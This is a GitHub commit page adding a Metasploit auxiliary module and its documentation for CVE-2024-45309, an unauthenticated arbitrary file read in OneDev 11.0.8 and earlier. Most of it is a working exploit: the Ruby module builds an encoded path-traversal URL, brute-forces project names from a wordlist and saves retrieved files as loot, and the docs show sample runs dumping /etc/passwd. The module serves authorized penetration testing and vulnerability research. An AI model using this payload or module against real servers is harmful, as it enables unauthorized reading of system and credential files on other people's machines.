-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #19614 from vultza/onedev-file-read
OneDev Unauthenticated Arbitrary File Read (CVE-2024-45309)
- Loading branch information
Showing
2 changed files
with
281 additions
and
0 deletions.
There are no files selected for viewing
135 changes: 135 additions & 0 deletions
135
documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,135 @@ | ||
## Vulnerable Application | ||
|
||
OneDev is a Git Server with CI/CD, kanban, and packages. | ||
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8. | ||
This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file. | ||
|
||
To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor | ||
can view existing projects without authentication. | ||
However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. | ||
By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. | ||
|
||
## Installation | ||
|
||
OneDev provides docker images for a quick setup process. | ||
A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8). | ||
|
||
Installation instructions can be found [here](https://docs.onedev.io/). | ||
|
||
## Verification Steps | ||
|
||
1. Install the OneDev application | ||
2. Start msfconsole | ||
3. Do: `use auxiliary/gather/onedev_arbitrary_file_read` | ||
4. Set the `RHOSTS` and `RPORT` options as necessary | ||
5. Set the `TARGETFILE` option with the absolute path of the target file to read | ||
|
||
If a valid project name is known: | ||
|
||
6. Set the `PROJECT_NAME` option with the known project name | ||
7. Do: `run` | ||
8. If the file exists, the contents will be displayed to the user | ||
|
||
If there is no information about existing projects: | ||
|
||
6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name | ||
7. Do: `run` | ||
8. If a valid project name is found, the target file contents will be displayed to the user | ||
|
||
## Options | ||
|
||
### PROJECT_NAME | ||
A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server, | ||
any visitor can see the existing projects, and collect a valid project name. On the other hand, if anonymous access is disabled, | ||
the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force. | ||
|
||
### PROJECT_NAMES_FILE | ||
Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set, | ||
the module will verify whether a given project exists for each word. | ||
|
||
|
||
### TARGETFILE | ||
Absolute file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default. | ||
|
||
### STORE_LOOT | ||
If set as `true`, the target file contents will be stored as loot. Set as `false` by default. | ||
|
||
|
||
## Scenarios | ||
|
||
### Example: Known project name or anonymous access enabled on OneDev 11.0.8 | ||
|
||
``` | ||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 | ||
RHOSTS => 192.168.1.10 | ||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 | ||
RPORT => 6610 | ||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject | ||
PROJECT_NAME => myproject | ||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run | ||
[*] Running module against 192.168.1.10 | ||
[+] Target file retrieved with success | ||
[*] root:x:0:0:root:/root:/bin/bash | ||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | ||
bin:x:2:2:bin:/bin:/usr/sbin/nologin | ||
sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||
sync:x:4:65534:sync:/bin:/bin/sync | ||
games:x:5:60:games:/usr/games:/usr/sbin/nologin | ||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | ||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | ||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | ||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | ||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | ||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | ||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | ||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | ||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | ||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin | ||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin | ||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | ||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash | ||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin | ||
[*] Auxiliary module execution completed | ||
``` | ||
|
||
### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8 | ||
``` | ||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 | ||
RHOSTS => 192.168.1.10 | ||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 | ||
RPORT => 6610 | ||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt | ||
PROJECT_NAMES_FILE => /home/server/wordlist.txt | ||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run | ||
[*] Running module against 192.168.1.10 | ||
[*] Brute forcing valid project name ... | ||
[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject | ||
[+] Target file retrieved with success | ||
[*] root:x:0:0:root:/root:/bin/bash | ||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | ||
bin:x:2:2:bin:/bin:/usr/sbin/nologin | ||
sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||
sync:x:4:65534:sync:/bin:/bin/sync | ||
games:x:5:60:games:/usr/games:/usr/sbin/nologin | ||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | ||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | ||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | ||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | ||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | ||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | ||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | ||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | ||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | ||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin | ||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin | ||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | ||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash | ||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin | ||
[*] Auxiliary module execution completed | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,146 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
CheckCode = Exploit::CheckCode | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'OneDev Unauthenticated Arbitrary File Read', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8. | ||
To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor | ||
can view existing projects without authentication. | ||
However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. | ||
By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. | ||
}, | ||
'Author' => [ | ||
'vultza', # metasploit module | ||
'Siebene' # vuln discovery | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
['CVE', '2024-45309'], | ||
['URL', 'https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489'] | ||
], | ||
'DisclosureDate' => '2024-10-19', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The relative URI of the OneDev instance', '/']), | ||
OptString.new('TARGETFILE', [true, 'The absolute file path to read', '/etc/passwd']), | ||
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]), | ||
OptString.new('PROJECT_NAME', [true, 'The target OneDev project name', '']), | ||
OptPath.new('PROJECT_NAMES_FILE', [ | ||
false, 'File containing project names to try, one per line', | ||
File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt') | ||
]) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path) | ||
}) | ||
|
||
return CheckCode::Unknown('Request failed') unless res | ||
|
||
unless ['OneDev', "var redirect = '/~login';"].any? { |f| res.body.include? f } | ||
return CheckCode::Unknown("The target isn't a OneDev instance.") | ||
end | ||
|
||
version = res.body.scan(/OneDev ([\d.]+)/).first | ||
|
||
if version.nil? | ||
if datastore['PROJECT_NAME'] | ||
res = read_file(datastore['PROJECT_NAME'], '/etc/passwd') | ||
|
||
if res.body.include? 'root:x:0:0:root:' | ||
return CheckCode::Vulnerable('OneDev instance is vulnerable.') | ||
else | ||
return CheckCode::Safe('OneDev instance is not vulnerable.') | ||
end | ||
end | ||
return CheckCode::Unknown('Unable to detect the OneDev version, as the instance does not have anonymous access enabled.') | ||
end | ||
|
||
version = Rex::Version.new(version[0]) | ||
|
||
return CheckCode::Safe("OneDev #{version} is not vulnerable.") if version > Rex::Version.new('11.0.8') | ||
|
||
CheckCode::Appears("OneDev #{version} is vulnerable.") | ||
end | ||
|
||
def validate_project_exists(project) | ||
res = send_request_cgi({ | ||
'method' => 'HEAD', | ||
'uri' => normalize_uri(target_uri.path, project, '~site') | ||
}) | ||
|
||
return res&.code == 200 | ||
end | ||
|
||
def find_project | ||
print_status 'Bruteforcing a valid project name…' | ||
|
||
File.open(datastore['PROJECT_NAMES_FILE'], 'rb').each do |project| | ||
project = project.strip | ||
next unless validate_project_exists(project) | ||
|
||
print_status("#{peer} - Found valid OneDev project name: #{project}") | ||
return project | ||
end | ||
nil | ||
end | ||
|
||
def read_file(project_name, target_file) | ||
path_traversal = '~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e' | ||
payload_path = normalize_uri(target_uri.path, project_name) | ||
payload_path = "#{payload_path}/#{path_traversal}#{target_file}" | ||
|
||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => payload_path | ||
}) | ||
return res | ||
end | ||
|
||
def run | ||
project_name = datastore['PROJECT_NAME'] | ||
|
||
if project_name.strip.empty? | ||
project_name = find_project | ||
fail_with(Failure::NoTarget, 'No valid OneDev project was found.') unless project_name | ||
else | ||
fail_with(Failure::NoTarget, 'Provided project name is invalid.') unless validate_project_exists(project_name) | ||
end | ||
|
||
res = read_file(project_name, datastore['TARGETFILE']) | ||
|
||
fail_with(Failure::Unreachable, 'Request timed out.') unless res | ||
|
||
fail_with(Failure::UnexpectedReply, "Target file #{datastore['TARGETFILE']} not found.") if res.body.include? 'Site file not found' | ||
|
||
file_name = datastore['TARGETFILE'] | ||
if datastore['STORE_LOOT'] | ||
store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], res.body, file_name, 'File retrieved from OneDev server') | ||
print_good("#{file_name} file stored in loot.") | ||
else | ||
print_good("#{file_name} file retrieved with success.\n#{res.body}") | ||
end | ||
end | ||
end |